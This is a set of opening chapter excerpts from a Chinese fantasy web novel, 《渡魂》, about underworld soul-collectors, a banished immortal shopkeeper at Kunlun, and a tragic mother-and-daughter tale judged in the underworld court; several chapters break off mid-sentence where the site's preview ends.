《渡魂》 1. 允祈愿 《渡魂》全本免费阅读 神界昆仑仙境,天诛台。 琉璃般的水泽之中,高耸起一座巨大墨玉石柱。 上古时期镌刻下的金色铭文在墨色柱身上如巨蟒似的盘旋。 “析木,身为守卫者,尔敢私自放走昆仑叛徒?可知罪?” 司法星君不见身影,只闻其声音庄严浑厚,自水泽深处徐徐而来。 缓缓传入耳中,一字一句逐渐清晰。 绿裳少女低着头跪在天诛台上,因铭文的惩罚而呼吸急促。 神情扭曲痛苦不堪,就像有人拿着钝刀子往她魂魄上一寸一寸地割。 双手撑地才使得身体不至于趴下,听到司法星君的审问之音,她原本散开的神识才逐渐回归。 许久,她只觉得好笑。 “尔仍是不知悔改?” 她用尽气力才缓慢抬起头来,苍白的脸上已看不见血气,却有一丝倔强:“我笑的是我自己。” 咽下喉头的腥甜,绿裳少女缓缓张口:“守护昆仑清气是我此生职责,可……” 闭了闭眼,再睁眼时有血泪落至下颌。 “可若是让我眼看着星纪死在面前,不去救她,此事亦无法做到!” “天罚我自愿领受……” 天诛台的上古铭文又一次发出光亮。 “呃!”她随即双掌撑地,一口鲜血终是忍不住喷涌了出来。 四下寂静无声,只闻殷红鲜血滴落的声音。 滴答、滴答—— 不知时间流逝了多久,司法星君无情的审判之音才再一次响彻耳边:“既然如此,那便受罚罢。洪荒顺逆,问道有无,天诛,显!” 墨玉石柱中的金色上古铭文迅速盘旋又分散重组,唯有司法星君看懂其中释义。 “析木,”浑厚的司法之音再度响起:“天诛判罚,因尔私自放走两名昆仑重罪叛徒,故判至冥府司魂使之职,需听命冥府指令千年,千年终了,尔自魂飞魄散——” 这等惩罚,她又怎会没有想到? 一切——都是自己的选择罢了。 * 数百年后。 人界,玄寅仙门。 落日沉底之际,霜月凌空,晚风幽凉。 葱郁的山峦深处水流潺潺,放眼望去,山坑中那潭湖水似是巨大的镜子一般,映着月光水波粼粼,层层荡漾。 “这便是屠妖湖?” 湖岸边的白袍男子将手上的《渡魂手册》卷轴一收,面庞显露而出,端的是容色俊逸,一双细长的狐狸眼甚是惹人。他懒懒散散地对着边上的黑袍少女说道: “要我说,此湖若是白日前来观赏,那定是美不胜收。” 黑袍少女容貌娇丽,夭桃秾李,声音却有着远超相貌的沉静,有些微冷,不客气回道:“你是来赏湖的还是来收魂的?” 白袍男子嘻嘻一笑:“哎,这不是时间紧任务重,我想着二者皆可得嘛,不过呢话又说回来了,到这人界的修仙门派收魂可谓最是麻烦,他们这群修仙得道者,总能满腔愤慨,为了逝者非要与我们打打杀杀。” 黑袍少女闻言冷笑,将黑色衣袖环抱身前,看了眼站在岸边的玄寅仙门守湖弟子,调侃他道: “蔽月,以你的灵力还怕他们么?” 他们是世人口中常道的“黑白无常”,也称“鬼差”,不过冥界更喜欢用司职称谓他们——魂使。 寻常凡人当然没有对抗之法,除了一些修为高深的修行者。 而蔽月的灵力,在一众魂使之中也算得上强悍。 湖岸边上的守湖弟子自是修为低微,前头的一阵凉风早已为他们吹来了这两位冥府之客,黑白无常就站在边上,而他们却是仿若未见,一无所觉。 “啊!快看快看!又亮了!”守湖弟子中不知是谁大喊了一句。 只见屠妖湖深处乍现猩红光亮,仿若血色烟花绽放似的,一下一下,无端泛着诡异。 伴随寒凉夜风吹过,众人不约而同哆嗦了下。 待反应过来,周遭不知何时已经起了一层薄雾,烟笼寒水,叫人生出一丝恐慌。 弟子们齐齐看向最前头的师兄,那师兄也皱起眉头:“你们几人在此守着,切记不可乱动,我去向师父禀报此地情况。” “是。”弟子们应声。 蔽月看了一眼这些仙门小弟子,摸着鼻子故作为难,那双狐狸眼笑意浅浅:“这些小喽啰自然不敌你我,可万一碰上一两个高人,少不了要拔刀打上一架,你还真别说,记得咱们三百年前去玉琼山派那次……” 提起三百年前,他便又是滔滔不绝。 黑袍少女似是早已听腻他的陈词滥调,瞥去一眼,摇摇头闪身进入湖水之中。 蔽月看着她被风掀翻的黑色袖袍: “欸?云舒!你就不能等等我,这急性子真是……” 说着,便已抬脚追了上去。 他们此行的收魂点就在这屠妖湖下玄武坟。 黑如浓墨的湖水就好似一团浆糊,不漏缝隙地糊住人的五感。 隐约传入耳廓的水流之音像地狱般空寂。 二人在湖底转悠了好一会,蔽月忍不住问道:“方才不就是这个方向亮的红光?怎么没了?” “这湖底甚大,处处透着邪气。咱们小心为上。”云舒说着,并起白皙纤细的手指朝前一挥。 眨眼间召唤出一盏小巧精致的六角灯笼,蓝色鬼火悄然点上,是为魂灯引路。 再往前浮游,那诡异的红色烟花再次炸开,比方才在岸边看见时要大得多,从湖里遥望,阵势吓人,还带着阵阵尖啸声,如泣如诉。 “母亲,母亲……他们是谁?”微弱尖细的娇声自湖底传来,凄切幽寒,夹杂着小女孩的恐慌。 “凌蓝乖,快躲好,这里魂魄那么多,他们找不到我们,找不到我们!我们永远在一起,不分开……”一道温和而年长的女声安慰着。 云舒与蔽月闻声对视了一眼,二人搭档多年,自然有着非同寻常的默契,只瞬间便清晰行动计划,二人分别朝向两个不同方向浮游开去。 夜色渐深,湖岸边等待多时的守湖弟子朝着上空惊喜喊道:“掌门来了!” 鉴心真人御剑赶来,立于湖面之上,青灰色道袍迎风猎猎,神色内敛沉稳,颇有圣者风范。 “掌门!”守湖弟子立即垂首作揖,又向鉴心身后四位弟子行礼:“师兄、师姐。” 鉴心真人示意守湖弟子:“都退下,此地邪气浓重,非你们可以应付。” 守湖弟子看见掌门亲自前来,还带上门内年轻辈的出色弟子,便知事情严重,应声后立马飞身不见。 云舒自湖底听见湖上方隐约有雷电响动,微微敛眉思索,这些修仙者还真是一如蔽月所言是个麻烦。不过也来不及去管他们了,湖底蠢蠢欲动,有邪物将要涌出。 脚下那悬浮湖底的黑色铁链突然一阵哗啦作响,云舒低声吟道:“魂灯引路。” 只刹那间,数以千计的六角灯笼从云舒身后急速列出,蓝色鬼火点上,照亮这一方湖底洞天—— 层层白骨堆积如山,其中有妖骨、兽骨,然而更多的却是人骨…… 放眼望去,满目皆是。 无数幽幽绿色怨魂被困于黑色锁链之下,在魂灯照亮后,那巨大的鬼泣哀嚎声不断充斥于耳,声声凄厉。 “救我……救我……” “好疼,我为什么死了还在疼……” “好心人帮帮我吧……” “我还没见到儿女成家就死在这了……” “娘,娘你在哪……” 云舒见此情景只将眉头皱得更深了些,借着魂灯光亮往前急速浮游,不消片刻,便已赶到那红光上方。 蔽月气喘吁吁地从另一头赶来,抓到了方才在湖底小声言语的那俩母女,用绞魂锁套牢,他拉着不安分的俩人扯了扯:“还跑?屠妖湖犯下今日重罪可都是你俩的能耐!” “蔽月,地下东西就要出来了,你先开启阴阳道,将这俩母女送去冥府。”云舒说道。 “好。”蔽月随即应下,伸手快速结印召唤阴阳道。 猩红的彼岸花从虚无处旋转绽出,呈现一扇地府之门,吱呀一声打开后,里面唯有无边的黯黑。 “母亲,我好怕……”娇小的少女鬼魂瑟缩不已。 “不怕不怕,母亲一直都会陪着凌蓝……”妇女搂紧了少女鬼魂,连声安慰。 蔽月充耳不闻似的,毫不怜惜地一掌将那二人拍进了阴阳道:“进去!” 他跨步进门,转头对着云舒说道:“你且在此等我一会,我带她俩去了子午殿马上就回来助你。” 云舒点头示意,手掌微动,已然祭出了亮着寒光的戮魂刀。 就在阴阳道合上的瞬间,下方红光之中那尖啸声又一次爆出,湖底土地像是有什么东西生长出来,不断向上撑开。 须臾,土地被顶上后裂开,那堆成山的白骨如碎屑般层层剥落,终显露出巨大的石砌楼阁。 红光就是从这巨大石砌楼阁之中发出。 湖底黑色锁链再撑不住这数十万鬼魂妖魔的挣扎嘶鸣,哗啦啦响声不断,一节一节断裂开来坠落掉下。 封印乍然破除,压抑在湖底的鬼魂与妖魔顷刻间如山呼海啸一般倾巢而出。 云舒冷眼看着这些正忙着四处蹦窜的邪物,伸手抬起戮魂刀猛地朝湖底投掷而去。 戮魂刀寒光一闪,直直插入湖底土地,刹那之间便已波浪滔天,似有两只巨人之手将湖水全部往中心搅去。 原本破开封印四处乱窜的邪物瞬间归于尘土之中。< 2. 缚魂铃 《渡魂》全本免费阅读 月影西斜,昆仑山前刚下过一场细雨。 山脚边一处不太起眼的木屋院落此刻仍点着几盏亮灯。 三个仙门来客脚步匆匆,踩着泥点跑到院门下面整理沾湿的衣裳。 “爹,咱们千里迢迢御剑数千里而来,这青老板真能救得了三哥吗?”粉衣少女声调柔柔,尾音夹杂一丝娇俏,一听就是千恩百宠的娇养小姐。 商誉正掸去肩上水珠,看了一眼面前粉衣似芙蓉的小女儿商知诺,明眸皓齿,宛若山间零落的灼灼桃花般充满春日朝气,才豆蔻之年,便已亭亭玉立。 “知诺,你就别担心了,爹不是说了,这青老板欠咱一个人情呢。”一旁整理发丝的绿衣女子开口道。 细腻的声线带着几分蜜果甜味,比商知诺的声音更添几分娇柔。 商誉再看一眼大女儿商余音,眉若远山黛,一双眼美得摄人心魄。顶着“九州第一美人”的名号,对未来夫婿挑剔得要命,双十年华仍未出嫁。 商誉轻叹一口气,沉了沉眉头,低声道:“进去吧,好不容易约到的面谈时间。” “有那么忙吗?这昆仑杂货铺看着一个人都没有啊。”商知诺直言道,满脸疑惑地跟着父亲踏进院子。 院中各色稀有灵植错落有致地自由生长着。许是刚落了雨的缘故,院落内满是泥土混着青草的香气,让人闻之顿觉五感清明。 再走近几步,便是那六层楼高的木屋,背靠着巨大的万年古树,仿佛与那古树共生一般直顶苍天,肆意蓬勃。 商誉跟着周掌柜后头进了木屋门内,又看了一眼身后的两个女儿,肃然着脸,神情晦暗。 这铺子外间看着不大,进入里头却是别有乾坤,一眼甚至还望不到边际,里面竟摆放着上天入地如此之多罕见宝物。 商知诺进门后瞧见满屋子的天材地宝连连赞叹,饶是她生于修仙名门大族已经见多了稀罕物什,仍只觉满目惊奇:“这回三哥真的有救了!爹,对吧?” 昆仑杂货铺的规矩商誉是知道的,铺子虽开在人间昆仑山下,做的却是往来三界的生意,只要给的“价钱”合理,那么青老板来者不拒。 唯一条规矩难破:生死由命。 可他们此行,却偏偏是为了救一个将死之人的命。 商誉压下心中郁结,没回答小女儿的话,只低声道:“先上楼吧。” 这已是他们最后的希望。 家中子女四人,长子早亡,除了长女和幺女以外,只有老三这一个儿子了,他修仙天赋卓绝,品性也是人人称赞,自然被视作他们东麂(jǐ)仙岛的接班之人,可人有旦夕祸福,在斩妖之时身中妖毒无解,躺在床上一年间用了无数灵丹妙药仍是双眼紧闭。 这妖毒已经寻了无数医仙诊治,可都毫无效果。 随着周掌柜引路至三楼一处房门口,缓缓将门推开,古朴的房间映入眼帘。 房间不大,珍稀灵植爬满了墙壁与细小缝隙,三面环绕木窗。几张木椅,一张简简单单的沉香木书案摆在窗前。 灯点了许多盏,照得满室通明。 书案前的灯却略有些昏黄。 虚虚实实地勾勒出一个男人的身影坐在那边,侧对着他们。 那男人似乎正抱着一只黑白色的毛球轻轻抚摸着,对于房门被人推开仿佛毫无察觉。 “老板,商岛主到了。”周掌柜提醒道。 那人闻声并未回头,伸手挠着毛球的身子,只淡淡应了一声: “嗯,你下去罢。” 声音有些轻微的沙哑,听着像是天生如此。 周掌柜点头退开合上身后的房门。 房间瞬间针落可闻,商余音捏了捏手中的凝霏剑,悄无声息地探究着坐在那的身影。 书案前放置的待客椅子有四张,可那人并未开口让他们三人落座。 商誉上前作了一揖,讨好一般笑道: “青老板,一别百年未见,近日可还好?” “喵。” 那人手下挠着的黑白毛球原来是一只猫儿。 “无所谓好与不好,”他停顿几许,抚猫时袖口滑落,看了眼手腕上系着的铃铛,这才接着说道:“商岛主,坐吧。” 商誉自是欣然上前几步落座,商余音和商知诺却不敢坐下,只堪堪跟在父亲身后,隔了半步。 商余音这才将那人看清了些,虽只有侧脸,足窥其貌令人惊艳,一袭深黛蓝色衣袍衬得皮肤皙白,通身的气质慵懒中带有一丝倦怠感,明显待人疏离。 可若说是青年,这乍一眼瞧着年龄也着实是小,但释出的气场绝非常人,毫无少年的稚嫩。 她心下讶异,这人完全不是她早先想象中的是个糟老头子商人模样。捏了捏手心频频冒出的汗湿,刹时感到心跳都快了些许。 商誉突然有些不知该如何开口。 抬眼瞄到青老板左手腕上绑着墨玉铃铛的那根五色锦绳,令他瞬间又回忆起百年前那回遇着青老板的画面。 一如现在这般抱着一只小猫儿,神色清淡地对他开口说道:“此绳给你无用,留着也是闲置,卖给我,或者,若有任何想要的东西,自可来昆仑山下寻我。” 还闲闲补了句:“一时还想不出有什么想要的物什也不着急,时日恒长,总会有的。” 五色锦绳是一种喜爱附着的灵虫,生长于深渊地底,也因它只有维持锦帛色彩永不褪色这一点好处,对大多数人来说所以也没什么大作用,所以极少被人捕猎。 商誉也是偶然得之,竟不料会被昆仑杂货铺的青老板亲自找上了门。 反应过来时,后知后觉这五色锦绳对于青老板来说应是重要之物,他好像还在青老板这处得了一个人情似的,就此拖欠着了。 商誉那时便庆幸地想着,这份人情难得,将来总要落实在最难的地方。 但若想要救回一只脚踏入鬼门关的人也确实不容易,昆仑杂货铺不救将死之人这规矩三界皆知,从未破过。 可他是为了救自己如今仅有的一个儿子,更是为了仙门振兴大业,想想还是张口了: “青老板,实不相瞒,在下此次前来,乃是为了您在百年前所许下的那份应允。” “喵。” 小猫儿细软的叫声适时响起。 一只修长的手安抚似的摸了摸它的小脑袋,随之轻笑着抱它起身往窗边走了几步,将它放在了窗框边上。 小猫儿乖乖地趴睡在那,长长的黑色尾巴垂直松落在窗框下,黑白相间的身子圆滚滚缩成一团,奶呼呼的,招人怜爱。 青老板回身坐下,随手拿起桌案上的茶壶给对面的人倒去一杯清茶,启唇道: “喝一杯,昨日刚收的云落霜期。” 商余音望着面前这人久久也回不了神,不再如方才侧身阴影笼罩,这下实实在在将人看了个清晰。 貌似画中人一般,朗月清风般的谪仙面容,举手投足间尽是悠然自若,气度全然不是世间寻常男子可以比拟。 光影落在他身上几乎只是陪衬。 “果然好茶。”商誉接过抿了一口清茶。 放下茶盏,商誉心下不停打鼓,自知要求多有过分,看对面青老板只喝茶不说话,更是不敢开口直言。 “青老板,这五色锦绳用着可还满意?”商誉想着还是得先叙个旧,于是笑着问了句。 对面那人看了一眼五色锦绳,像是在说与他毫不相干的事:“嗯,还行。” 商誉顿了一下,心中有些凉意,他该不会猜错了,这绳子对青老板来说莫不是无关紧要的东西?那时从他这里要走也只是当下眼缘合适罢了? 商誉琢磨着干脆把准备的词儿全说了,站起身朝对面深作一揖: “青老板,我等此行无奈,着实是走投无路。这才来此寻你。我儿命苦,他天赋高,自幼便以除妖降魔为己任,或许是年少气傲,为了保护过路之人非要与那妖物拼杀个结果……” 说到这,他抹了把涕泪,再接着说道:“结果、结果就是落得个沉眠不醒的下场……” “此次前来,特请青老板相救……” “你说他保护过路之人是因为年少气傲?”青老板放下茶壶问道。 “那臭小子心善,却不懂世间第一要义乃是自保,再去言说其他!”商誉显然还是有些气愤,他深觉儿子意气用事。 青老板端茶一抿,再抬眼无波无澜地看向他: “你能保证他若是再遇上这种事会换一种处理方法?” 商誉闻言怔愣半晌,青老板这是同意救他儿子了?随即欣喜不已说:“会的!死过一回的人定比常人更加惜命!他会改的!” “他的想法,岂是你能说了算?”青老板闻言却是勾唇笑了,骨节分明的长指放下茶盏。 商誉听他这么说,有些无奈锁眉,可还是咽下了一口气。 几番思量说服自己别急,那一条小小五色锦绳算得了什么呢?昆仑杂货铺通行三界买卖,想要什么东西没有!就算现在翻脸将五色锦绳要回来,怕是对方想也不想就能扔回来。 对方是商人,商人最重利。所谓利,内意就是“非等价交换”。 “青老板说的是、说的是。”商誉连连点头,拉过商余音推到前面,将话头一转道: “瞧我这记性,差点忘了介绍,我这女儿自小听着昆仑山下的传说长大,对您可谓崇拜有加,一直希望能进入咱们铺子里打打下手,做做帮工,如今长大了,也是时候该出来锻炼锻炼,方才在楼下见着铺子里人手也不太多,您看……” “您看合适的话,不若留下小女在此做个帮手?” 商誉深知自家女儿商余音的美貌冠绝九州,她早在及笄之时便已有了“九州第一美人”的称号,每每亮相宗门大会总有数不尽的门派弟子拜倒裙下,各大仙门求娶之人比洗剑池里的剑还多,只是他没舍得。 可现在,没有舍不得。 商余音被父亲忽一扯过没来得及反应,对上了那边看来的一双眼。 那人微微抬眸看她,极漂亮的一双星眸。 可却是那么冰凉。 看她就像看一粒米、一把草、一张纸似的,疏懒又随意,眼中没有一丝波澜。 一扫而过。 商余音顿时气血 3. 一瓢饮 《渡魂》全本免费阅读 “师祖?” 在场的四名年轻弟子皆是一愣,他们在玄寅仙门修行少说也有上百年了,从未听说还有师祖在世,且,这是哪一位师祖? 这怎么好像身下还踩着一坐骑,坐骑看着像是一只红色小龟来着…… 鉴心真人深叹一口气,他们小辈自然是认不得人的。 不过要说起这位师祖的事迹却是无人不晓。 曾于数百年前登上昆仑山窥得山海之墟而升仙,可据传不知为何在他登仙不久后便被贬出下界,后在昆仑山前盖了一间杂货铺,与三界鬼神做交易。 因被上界贬黜过,所以玄寅仙门视之为不详之人,故而对后世弟子极少提及他。 待那位师祖靠近,脚下踩着的灵龟轻身悬停于屠妖湖上,似镜般的水面风过之处微波粼粼,倒映着他仿佛是一镜中谪仙。 众人终是将他看清,面容瞧着竟是比最小辈的弟子尘熔还要再年轻几分,积石如玉,清冷绝尘。 在场无人不在心下感叹一句,神仙只怕也不过如此了。 这话也不对,他确是当过神仙。 鉴心暗暗心道:师祖仍是容颜未改,老去的果然只有他而已。 “此地发生何事,能把你弄伤?” 他慢悠悠地从灵龟身上迈步走下,出声问道。这声音却是天生沙哑的。 听着无甚情感温度,不是悲悯,亦无同情,只是问询。 他自然是认得鉴心,这人自幼便是天赋灵根皆为极佳,千年修行加持之下怎么说也是半仙之躯了,世间难有妖邪能伤到他。 几人回过神来,鉴心真人向前作了一揖: “师祖,屠妖湖底的玄武坟恐有生变,已然无法镇压湖底妖邪。我等无能,所学尚浅,方才五人合力施术也无法将……” 话未说完,只见那师祖将黛蓝色袖袍轻轻一挥。 屠妖湖顶的天空瞬间雷云密布,风声鹤唳,湖中之水刹那间结成一条巨大水龙,连接着被雷云所吸食,云层不停闪烁五色闪电,轰鸣之声响彻云霄。 不过两息之间,雷鸣声骤停。 湖水被吸干了。 没有念咒文,没有结印,更没有法器加持。 一众弟子看得目瞪口呆,就差伸手鼓掌以示对师祖的尊敬之情。 鉴心真人则是仿若见怪不怪,脸上似乎还浮现出一丝欣慰且骄傲的表情。 可紧接着,这位师祖也微微皱起了眉。 他敛目看着左手腕上五色锦绳系着的缚魂铃,这千年之间都没响过的铃铛,此刻不止是发光,还朝着湖底方向响得厉害。 岸上几人纷纷探究着朝湖底望去。 湖水被吸干后,不再发出红光的玄武抬头仰视苍穹,发出阵阵沉重悲鸣,林间鸟兽闻之四散。 此时天空逐渐泛出鱼肚白,光芒一寸寸清晰。 天亮了。 适时,弟子们瞧着师祖随手补了个镇妖阵法盖在湖底土地之上。 巨大无比的玄武命魂逐渐变得透明,众人这才透过天光看清它身前悬浮着一黑袍少女。 那少女容貌仿若妖精一般昳丽惑人,皮肤白如凝脂,摸着玄武浅笑时让人顿感如沐春风。 只是她另一手中握着把长刀寒光凛然,莫名阴森。 周身气场使得见者心生诡异。 年轻弟子们瞧着那柄长刀不约而同打了一个冷战。 她轻轻抚摸玄武的脑袋,对玄武笑着说道:“这许多年,前辈辛苦了。” 鉴心真人只觉得这个黑袍身影极其熟悉!使劲挠了挠脑袋,却怎么也想不起曾经在何处见过她。 啊!是她! “仙……” 他忽而猛地转头看向师祖,是了,难怪今次劫难师祖会过来出手相助,这千百年之间,师祖可曾回过玄寅仙门? 师祖果然正双目紧紧盯住那黑袍少女,眸色晦暗,看不清他在想些什么。 不消多时,玄武不再悲鸣,回首望着云舒,仿佛也在笑,极温柔地蹭了蹭她。 未了,玄武命魂终化作数不尽的尘烟,如水雾般逸散。 “吾已再无牵挂,是吾该多谢你,云舒——” 声如洪钟,玄武的命魂终于还是解脱了,世间再无。 “小心!”蔽月刚一跨出阴阳道,突然急急朝云舒喊道。 没来得及防御,他眼看着有一黛蓝色衣袍飞速闪过,只刹那带走了云舒。 瞬息之间便不见踪影。 云舒忽觉得自己一头扎进了个仙气四溢的怀抱之中,黛蓝色衣袍顺滑地贴着她,隐约间闻到了清清淡淡的白茶甜香,若有似无地沁入心脾。 这莫不是神界之人?她曾经在神界得罪过谁来着? 她记不清,也记不起了。 瞬息术停下之后,那人抱着她轻轻抚着她的后脑勺,背靠在一棵苍天古树上。白茶淡香环绕,有那么片刻云舒恍惚以为自己好像想起了从前,这似曾相识的清香气息。 可她却无从回忆。神识中那一缕久远而灰蒙蒙的记忆如烟尘缥缈,再抓不住。 云舒抬起手指召唤出赤鬼手,正准备拉开此人。 “放开。”她面无表情地沉下声音道。 他却将她抱得更紧,压在云舒耳边委屈地呢喃着: “云舒……”像小猫咪撒娇似的。 云舒怔愣,这人是如何知晓她的名字?哦,貌似刚才玄武喊过她来着。 “放开!”她懒得跟他掰扯。赤鬼手往下一抓—— “你要谋杀亲夫么?”他低声说。 云舒顿住,赤鬼手从虚无中退散而去。 身上这人恋恋不舍地松开了她,才见到他生的极是好看,神界那群目中无人的神仙也没几个能比得上他,一双蕴含星辰的眼睛含着迷蒙水雾,此刻正盯着她瞧。 欣喜,哀怨,无奈,眷恋……他的眼神中有太多的情感弥漫,云舒觉得他似有千言万语要对她说。 可最终也只是望着她看。 那眼神就仿佛是要穿透她的眼睛,刺进她的神魂之中。 云舒不禁吞了口水,怔怔半晌,仍有些反应不过来,“你刚才说什么?” “你说……”她问:“你是谁?” 他抬起左手的缚魂铃问她:“可还认得?” 呵,竟是连缚魂铃都不认了么? 云舒讶异,眼前的墨玉缚魂铃光滑莹润,一下一下泛着光亮,她想要伸手触碰:“我……” 缚魂铃瞬间颤动着响个不停,兴奋不已,就像一只小狗殷勤地朝主人甩尾点头似的。 这缚魂铃里面有她的一缕神魂,云舒当然能感应到。 可是为什么会在他手上? “青时,”对面那人转而又抱紧了云舒,箍着她的腰,在她耳边用他天生沙哑的嗓音轻声地说着:“我是青时,云舒。” 听着有无尽的委屈一般,愈发像是一种蛊惑。 他自刚才就探查过了,云舒不会骗他,她是真的什么都忘了。将他和他们的曾经忘得一干二净。如此,他又该怎么怪她? 这近千年的思念和翻天入海的寻找,原来再相见时竟是再多怨愤也说不出口。 “你先放开我。”她毫不留情地冷声道。 “不放。”青时像黏人的小猫一般蹭了蹭云舒,在她的脖颈之间用唇贴了贴。 有点黏糊糊的,冰冰凉的。 云舒整个人像被雷劈了 4. 恶与罚 《渡魂》全本免费阅读 冥府的子午殿,便是犯下罪孽的魂魄生前功过审判之地。 整座冥府处于冥界最高处,由铺天盖地浓重的黑云托举着悬空而立,殿宇威严,冰冷,透着浓郁的阴寒之气。 子午殿内。 崔判官着绿衣坐于上首,瞧着眉目还算端正,并不似人间所传的那般恐怖。 下面站立着将要审判的二人,是几个时辰以前被蔽月从屠妖湖收魂过来的母女俩,二人身上早已捆满了锁链,垂首候审。 崔判官见着云舒和蔽月进殿,正举起惊堂木打算开庭。 “崔判官,劳烦您……”蔽月上前作了一揖,欲将青时用锁链捆住交给庭审。 却不想崔判官竟已然起身朝这边殷切道:“啊……青老板,有失远迎,今日怎地有空光临我这小小子午殿啊?” 云舒和蔽月颇有些怔愣地看向身后跟着的青时,摸不清此时情况了。 “我来找弥与。”他回道。 崔判官看着他眸中倾泻的杀气,不禁擦了擦额间的汗,心道,你要找鬼王大人来我这作甚?怎么着也该去鬼王殿寻他啊! “得,在下这便命人去向鬼王通报一声。”崔判官是个能审时度势的,俯身便与下方小吏耳语几句,小吏收了命令飞速往鬼王殿跑去。 “这鬼王大人可能事忙,青老板不妨在内殿稍作休息,静候一下。” “无碍,你们接着庭审,我就在这里等他。”只见青时毫不客气地一屁股坐到了旁边的椅子上,似乎准备好了打算看着他们如何庭审。 崔判官砸吧了两下嘴不知该如何开口了,面前的这位青老板统管三界货品流通,连鬼王都要给他几分面子,这种角色不是他一个小小判官能得罪得起的。 行吧,就当他旁听吧。 他也只能无奈点头笑道:“那我命人给青老板奉一壶好茶来。” 惊堂木一响,崔判官神情立刻转换肃然:“容菡、凌蓝你二人可还有话说?” 被锁链捆绑了四肢的容菡闻言下跪,声声泣泪:“屠妖湖所有罪孽皆是我一人所为,还请判官大人放过我女儿!” 崔判官耐心说道:“哦?你且说说缘由?” 容菡抹了把涕泪,开始将那尘封已久的往事娓娓道来。 那是数千年以前了—— 屠妖湖还未是个湖,所属地的那个国尚且叫做西威国。 连年战乱不休,民不聊生。 容菡和女儿凌蓝原本住在僻静山中躲避战乱,日子虽然贫苦却也算是不受纷扰。 直到有一天,十岁的凌蓝从后山救回了一个人。 那人名叫赵富,被毒蛇咬了倒地不起,是凌蓝采药路过看见,好心叫山上的砍柴人一起将赵富搬回了家,救他一命。 三日之后,赵富身上的蛇毒清了,甚至是从战场上染上的疫病也消了,整个人神清气爽。 赵富觉得甚是奇怪,究竟是什么草药能有这奇效,让他好得这么快? 于是他跑去问凌蓝。 凌蓝回道:“你喝了我的血才解的毒。” 他惊奇不已:“凌蓝姑娘的血怎会有此药效?” 仔细回想,在他昏迷之时确实曾醒来过片刻,正好瞧见凌蓝用自己手腕上割破的血去喂他。原来那不是梦中。 凌蓝招招小手,示意他靠近些,悄声说:“我未出世时,娘怀着我在山上识药采药,不小心误食了一株太岁!” 赵富双目瞪圆了感到万分吃惊,据他所知,太岁这东西只存于传说之中啊! 他结结巴巴道:“你、那你,你娘的血是否也有治病救人的奇效?” 凌蓝摇了摇小脑袋。接着往周遭看了看,对他说:“你可千万别说出去啦,娘不让我告诉别人!” 赵富心下了然,笑着与她拉钩承诺:“我绝不告诉他人。” 可他转头就食言了。 回去之后带着一队兵马过来捕走了凌蓝,丢下一句话: “十万将士在边关浴血奋战,遭遇敌国细作投毒染上疫病,只有凌蓝的血能挽救数万将士,能挽救这个国家!” 容菡跪地泣不成声,求他们不要带走凌蓝不要喝女儿的血。 可是没用的,他们自诩正义之士,他们要去救天下苍生啊! 隔壁的邻居村民们也过来纷纷劝解容菡: “能够牺牲一人去拯救苍生这将是多么大的福报!” “凌蓝死后我们会给她立碑、给她写入宗祠族谱!” “是啊是啊!这是多么大的运气才能为天子阵前做这牺牲!” 于是那队兵马就这么带走了凌蓝。 多日之后。 容菡几经周折混入军队的伙房之中,只为能再见到女儿一面。 未曾想却在牢房见到血肉模糊的、被刮成肉.棍一般的凌蓝。 他们吊着她的一口气,不让她死。 他们把她当成一株草药,一株养在那里随时可取用的草药。 容菡看得双眼猩红,气得浑身颤抖泪流不止昏厥过去。 醒来之时却发现自己被丢弃在了荒山之中。 容菡在绝望中回忆起曾经听闻古金国的巫女法力神通,于是便踏过千山万水去寻。 她渴望舍弃一切只为救出女儿。 那巫女见到她后却讶异道:“你来自西威国?” 容菡点头称是。 随即,巫女笑着将刻满咒文的龟壳交到她手中,说道:“西威国的凤尧山下埋着龟蛇大神——玄武的命魂,你用此壳前去求它,它定会满足你的心愿。” “多谢巫女!多谢巫女!” 容菡千恩万谢地捧着那片小小龟壳回到了西威国。 凤尧山中,容菡笑着颤抖着双手将龟壳摆放好,念出巫女所交代的咒语。 她觉得她的女儿就要回来了,想着该用什么姿势拥抱她的女儿,第一句话应该说些什么……五年不见了,你还好吗我的凌蓝…… 正想着,一阵地动山摇。 山崩地裂—— 沉寂于凤尧山底的玄武命魂不知为何暴躁而起,踏碎了西威国的国土。 黄土漫天,日月失色,雷雨悲鸣不止。 地壳碎裂又重新合上,再碎裂又再合上…… 无数的生命就这样哀嚎着嘶喊着,挣扎着埋于地底,埋于山坑之中。 容菡在死去之前,终于是看到那些带走了凌蓝的人原来都在这凤尧山下。 原来那么多的人就在这里扎营安置,他们都在这里活着呢……可如今也要死了啊!一起死! 看到他们陪着她的凌蓝一起死去,她大笑着哭了…… …… 崔判官听后长长叹息一声:“可悲,可叹。” 边上的一群小吏皆在偷偷啜泣:“好可怜。” 云舒想起玄武在命魂散去之前与她所说的话。 玄武说它曾在万年之前游历至那座山,被山中风景与人心美好所折服。 于是,玄武决定在它死去之时将三魂之中的命魂镇守在那座山中,以此护佑那片土地与土地之上的人们。 “吾之命魂本该在此山中长眠,却不想有一天遇见那女子竟拿着我子孙辈的命来嘲讽于吾!” 云舒思量片刻,对容菡说道:“那古金国的巫女利用了你,西威国乃是古金国的敌对,你拿走的龟壳是那巫女故意用 5. 妖域乱(一) 《渡魂》全本免费阅读 “啪!” 青时捏碎了手中的茶杯。 只听不远处“轰”的一声巨响,众人从子午殿向外望去—— 鬼王殿,塌了。 “啧。”鬼王蹙了蹙眉,似乎有几分不耐:“你们几个,都先退下吧,我和青老板有话要说。” “是,鬼王。”众人连声答应。 蔽月见云舒直盯着铃兰看,半天也不说话,扯了扯她的袖子,示意她赶紧退下。 云舒仿佛如梦初醒一般,这才朝着鬼王作了一揖走出子午殿。 “怎么,青老板这几日未见,火气这么大。”鬼王行至青时对面的椅子坐下,伸手拿过一盏茶抿了抿。 青时冷笑一声:“弥与,你有件事骗了我。” “何事?”他这故意装作不知的样子让人想轰了他的整个冥府。 “云舒。” “啊,她啊,”鬼王放下茶水似乎这才突然回忆起来:“你方才也看见了,我冥府的魂使,他们没有过往曾经。” 言罢,转头定定地看向青时。 “给我一个理由,弥与。”青时的眼神透露出几分危险,三界之中与他生意往来的人不少,可若是抛开了交易去谈其他事的,并没有几个。而弥与,能算一个。 他二人的交情从青时初初成仙之时便已存在了。 八百年前,青时成仙上了神界,打算去找云舒,结果找了一圈发现竟然没有一个人认识“云舒”。 恰逢天帝大摆宴席贺寿,青时在一堆酒坛前碰见了喝得正上头的鬼王。 二人你一句他一句地,喝得茫然,糊里糊涂地聊起过往之事,不知不觉间竟然喝了几天几夜。 